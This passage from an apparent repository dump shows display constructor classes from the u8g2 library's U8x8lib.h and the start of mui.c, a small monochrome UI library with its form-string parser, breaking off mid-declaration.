u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_MAX7219_64X8_4W_HW_SPI : public U8X8 {\n  public: U8X8_MAX7219_64X8_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_max7219_64x8, u8x8_cad_empty, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_MAX7219_64X8_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_MAX7219_64X8_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_max7219_64x8, u8x8_cad_empty, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_MAX7219_32X8_4W_SW_SPI : public U8X8 {\n  public: U8X8_MAX7219_32X8_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_max7219_32x8, u8x8_cad_empty, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_MAX7219_32X8_4W_HW_SPI : public U8X8 {\n  public: U8X8_MAX7219_32X8_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_max7219_32x8, u8x8_cad_empty, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_MAX7219_32X8_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_MAX7219_32X8_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_max7219_32x8, u8x8_cad_empty, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_MAX7219_8X8_4W_SW_SPI : public U8X8 {\n  public: U8X8_MAX7219_8X8_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_max7219_8x8, u8x8_cad_empty, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_MAX7219_8X8_4W_HW_SPI : public U8X8 {\n  public: U8X8_MAX7219_8X8_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_max7219_8x8, u8x8_cad_empty, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_MAX7219_8X8_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_MAX7219_8X8_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_max7219_8x8, u8x8_cad_empty, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_S1D15300_LM6023_4W_SW_SPI : public U8X8 {\n  public: U8X8_S1D15300_LM6023_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15300_lm6023, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_S1D15300_LM6023_4W_HW_SPI : public U8X8 {\n  public: U8X8_S1D15300_LM6023_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15300_lm6023, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_S1D15300_LM6023_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_S1D15300_LM6023_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15300_lm6023, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_S1D15300_LM6023_6800 : public U8X8 {\n  public: U8X8_S1D15300_LM6023_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15300_lm6023, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_S1D15300_LM6023_8080 : public U8X8 {\n  public: U8X8_S1D15300_LM6023_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15300_lm6023, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_S1D15E06_160100_4W_SW_SPI : public U8X8 {\n  public: U8X8_S1D15E06_160100_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15e06_160100, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_S1D15E06_160100_4W_HW_SPI : public U8X8 {\n  public: U8X8_S1D15E06_160100_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15e06_160100, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_S1D15E06_160100_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_S1D15E06_160100_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15e06_160100, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_S1D15E06_160100_6800 : public U8X8 {\n  public: U8X8_S1D15E06_160100_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15e06_160100, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_S1D15E06_160100_8080 : public U8X8 {\n  public: U8X8_S1D15E06_160100_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15e06_160100, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_S1D15721_240X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_S1D15721_240X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15721_240x64, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_S1D15721_240X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_S1D15721_240X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15721_240x64, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_S1D15721_240X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_S1D15721_240X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15721_240x64, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_S1D15721_240X64_6800 : public U8X8 {\n  public: U8X8_S1D15721_240X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15721_240x64, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_S1D15721_240X64_8080 : public U8X8 {\n  public: U8X8_S1D15721_240X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_s1d15721_240x64, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_GU800_128X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_GU800_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gu800_128x64, u8x8_gu800_cad_110, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_GU800_128X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_GU800_128X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gu800_128x64, u8x8_gu800_cad_110, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_GU800_128X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_GU800_128X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gu800_128x64, u8x8_gu800_cad_110, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_GU800_128X64_6800 : public U8X8 {\n  public: U8X8_GU800_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gu800_128x64, u8x8_gu800_cad_110, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_GU800_128X64_8080 : public U8X8 {\n  public: U8X8_GU800_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gu800_128x64, u8x8_gu800_cad_110, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_GU800_160X16_4W_SW_SPI : public U8X8 {\n  public: U8X8_GU800_160X16_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gu800_160x16, u8x8_gu800_cad_110, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_GU800_160X16_4W_HW_SPI : public U8X8 {\n  public: U8X8_GU800_160X16_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gu800_160x16, u8x8_gu800_cad_110, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_GU800_160X16_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_GU800_160X16_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gu800_160x16, u8x8_gu800_cad_110, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_GU800_160X16_6800 : public U8X8 {\n  public: U8X8_GU800_160X16_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gu800_160x16, u8x8_gu800_cad_110, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_GU800_160X16_8080 : public U8X8 {\n  public: U8X8_GU800_160X16_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gu800_160x16, u8x8_gu800_cad_110, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_GP1287AI_256X50_4W_SW_SPI : public U8X8 {\n  public: U8X8_GP1287AI_256X50_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gp1287ai_256x50, u8x8_cad_empty, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_GP1287AI_256X50_4W_HW_SPI : public U8X8 {\n  public: U8X8_GP1287AI_256X50_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gp1287ai_256x50, u8x8_cad_empty, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_GP1287AI_256X50_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_GP1287AI_256X50_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gp1287ai_256x50, u8x8_cad_empty, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_GP1247AI_253X63_4W_SW_SPI : public U8X8 {\n  public: U8X8_GP1247AI_253X63_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gp1247ai_253x63, u8x8_cad_empty, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_GP1247AI_253X63_4W_HW_SPI : public U8X8 {\n  public: U8X8_GP1247AI_253X63_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gp1247ai_253x63, u8x8_cad_empty, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_GP1247AI_253X63_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_GP1247AI_253X63_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_gp1247ai_253x63, u8x8_cad_empty, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\n\n// constructor list end\n  \n\n#endif // U8X8_USE_PINS\n\n#endif /* _U8X8LIB_HH */\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/mui.c",
    "content": "/*\n\n  mui.c\n  \n  Monochrome minimal user interface: Core library.\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2021, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n\n  \"mui.c\" is a graphical user interface, developed as part of u8g2.\n  However \"mui.c\" is independent of u8g2 and can be used without u8g2 code.\n  The glue code between \"mui.c\" and u8g2 is located in \"mui_u8g2.c\"\n\n  c: cmd\n  i:  ID0\n  j: ID1\n  xy: Position (x and y)\n  /text/: some text. The text can start with any delimiter (except 0 and |), but also has to end with the same delimiter\n  a: Single char argument\n  u: Single char argument with the user interface form number\n\n  \"Uu\" the interface                                                    --> no ID\n  \n  Manual ID:\n  \"Fijxy\"  Generic field: Places field with id ii at x/y        --> ID=ij\n  \"Bijxy/text/\"   Generic field (Button) with Text   --> ID=ij\n  \"Tiixya/text/\"  Generic field with argument and text --> ID = ij\n  \"Aiixya\"\n  \n  Fixed ID:\n  \"Si\" the style                                                        --> ID=@i\n  \"Lxy/labeltext/\"  Places a text at the specified position, field with   -     -> ID=.L, .l\n  \"Gxyu/menutext/\"  Go to the specified menu without placing the user interface form on the stack       --> ID=.G, .g\n  \n  \n  cijxy\n  cijxy/text/\n  cijxya/text/\n  \n  cxy/text/\n  cxya/text/\n  \n*/\n\n\n\n#include \"mui.h\"\n\n\n\n\n\n//#define mui_get_fds_char(s) ((uint8_t)(*s))\n\n//#include <stdio.h>\n//#define MUI_DEBUG(...) printf(__VA_ARGS__)\n#define MUI_DEBUG(...)\n\nuint8_t mui_get_fds_char(fds_t *s)\n{\n  //return (uint8_t)(*s);\n  return (uint8_t)mui_pgm_read(s);\n}\n\n\n/*\n  s must point to a valid command within FDS\n*/\nstatic size_t mui_fds_get_cmd_size_without_text(fds_t *s) MUI_NOINLINE;\nstatic size_t mui_fds_get_cmd_size_without_text(fds_t *s)\n{\n  uint8_t c = mui_get_fds_char(s);\n  c &= 0xdf; /* consider upper and lower case */\n  switch(c)\n  {\n    case 'U': return 2;         // User Form: CMD  (1 Byte), Form-Id (1 Byte)\n    case 'S': return 2;         // Style: CMD (1 Byte), Style Id (1 Byte)\n    case 'D': return 3;         // Data within Text: CMD (1 Byte), ID (2 Bytes), Text (does not count here)\n    case 'Z': return 3;         // Zero field without x, y, arg & text: CMD (1 Byte), ID (2 Bytes)\n    case 'F': return 5;         // Field without arg & text: CMD (1 Byte), ID (2 Bytes), X, Y\n    case 'B': return 5;         // Field with text: CMD (1 Byte), ID (2 Bytes), X, Y, Text (does not count here)\n    case 'T': return 6;         // Field with arg & text: CMD (1 Byte), ID (2 Bytes), X, Y, Arg, Text (does not count here)\n    case 'A': return 6;         // Field with arg (no text): CMD (1 Byte), ID (2 Bytes), X, Y, Arg, Text\n    case 'L': return 3;          // Text Label: CMD (1 Byte), X, Y (same as 'B' but with fixed ID '.L', MUIF_LABEL, MUI_LABEL)\n    case 'G': return 4;         // Goto Btutton: CMD (1Byte), X, Y, Arg, Text  (same as 'T' but with fixed ID '.G', MUIF_GOTO, MUI_GOTO)\n    case 0: return 0;\n  }\n  return 1;\n}\n\n\n\n/*\n  s must point to the string delimiter start: first '/' for \"B00ab/ok/\"\n    - '/' actually is 0xff\n    - return the total size of the string, including the delimiter\n    - copies the content of the string (\"ok\") to the ui text buffer\n\n*/\nstatic size_t mui_fds_parse_text(mui_t *ui, fds_t *s)\n{\n  uint8_t i = 0;\n  ui->delimiter = mui_get_fds_char(s);\n  uint8_t c;\n  fds_t *t = s;\n  \n  //printf(\"mui_fds_parse_text del=%d\\n\", delimiter);\n#ifdef MUI_CHECK_EOFDS\n  if ( ui->delimiter == 0 )\n    return 0;\n#endif \n  t++;\n  for( ;; )\n  {\n    c = mui_get_fds_char(t);\n  //printf(\"mui_fds_parse_text i=%d, c=%c\\n\", i, c);\n#ifdef MUI_CHECK_EOFDS\n    if ( c == 0 )\n      break;\n#endif \n    if ( c == ui->delimiter )\n    {\n      t++;\n      break;\n    }\n    if ( i < MUI_MAX_TEXT_LEN )\n    {\n      ui->text[i++] = c;\n    }\n    t++;\n  }\n  ui->text[i] = '\\0' ;\n  return t-s;\n}\n\n/*\n  get the first token within a text argument.\n  The text argument may look like this:\n    \"B00ab/banana|apple|peach|cherry/\"\n  The outer delimiter \"/\" is not fixed and can be any char except \"|\" and \"\\0\"\n  The inner delimiter \"|\" is fixed. It must be the pipe symbol.\n  This function will place \"banana\" into ui->text if the result is not 0\n\n  if ( mui_fds_first_token(ui) )\n  {\n    do \n    {\n      // handle token in ui->text\n    } while ( mui_fds_next_token(ui) )\n  }\n\n*/\n\nuint8_t mui_fds_first_token(mui_t *ui)\n{\n  ui->token = ui->fds;\n  ui->token += mui_fds_get_cmd_size_without_text(ui->fds);\n  ui->delimiter = mui_get_fds_char(ui->token);\n  ui->token++;  // place ui->token on the first char of the token\n  return mui_fds_next_token(ui);\n}\n\n/*\n  The inner token delimiter \"|\" is fixed. It must be the pipe symbol.\n*/\nuint8_t mui_fds_next_token(mui_t *ui)\n{\n  uint8_t c;\n  uint8_t i = 0;\n  // printf(\"mui_fds_next_token: call, ui->token=%p\\n\", ui->token);\n  for( ;; )\n  {\n    c = mui_get_fds_char(ui->token);\n    // printf(\"mui_fds_next_token: i=%d c=%c\\n\", i, c);\n#ifdef MUI_CHECK_EOFDS\n    if ( c == 0 )\n      break;\n#endif \n    if ( c == ui->delimiter )\n      break;\n    if ( c == '|'  )\n    {\n      ui->token++;  // place ui->token on the first char of the next token\n      break;\n    }\n    \n    if ( i < MUI_MAX_TEXT_LEN )\n    {\n      ui->text[i++] = c;\n    }\n    \n    ui->token++;\n  }\n  ui->text[i] = '\\0' ;\n  if ( i == 0 )\n    return 0;   // no further token found\n  return 1;  // token placed in ui->text\n}\n\n/*\n  find nth token ('|' delimiter), return 0 if n exceeds the number of tokens, 1 otherwise\n  the result is stored in ui->text\n*/\nuint8_t mui_fds_get_nth_token(mui_t *ui, uint8_t n)\n{  \n  // printf(\"mui_fds_get_nth_token: call, n=%d\\n\", n);\n  if ( mui_fds_first_token(ui) )\n  {\n    do \n    {\n      if ( n == 0 )\n      {\n        // printf(\"mui_fds_get_nth_token: found\");\n        return 1;\n      }\n      n--;\n    } while ( mui_fds_next_token(ui) );\n  }\n  //printf(\"mui_fds_get_nth_token: NOT found\\n\");\n  return 0;\n}\n\nuint8_t mui_fds_get_token_cnt(mui_t *ui)\n{\n  uint8_t n = 0;\n  if ( mui_fds_first_token(ui) )\n  {\n    do \n    {\n      n++;\n    } while ( mui_fds_next_token(ui) );\n  }\n  return n;\n}\n\n\n#define mui_fds_is_text(c) ( (c) == 'U' || (c) == 'S' || (c) == 'F' || (c) == 'A' || (c) == 'Z' ? 0 : 1 )\n\n/*\n  s must point to a valid command within FDS\n  return\n    The complete length of the command (including any text part)\n  sideeffect:\n    Any existing text part will be copied into ui->text\n    ui->text will be assigned to empty string if there is no text argument\n*/\nstatic size_t mui_fds_get_cmd_size(mui_t *ui, fds_t *s) 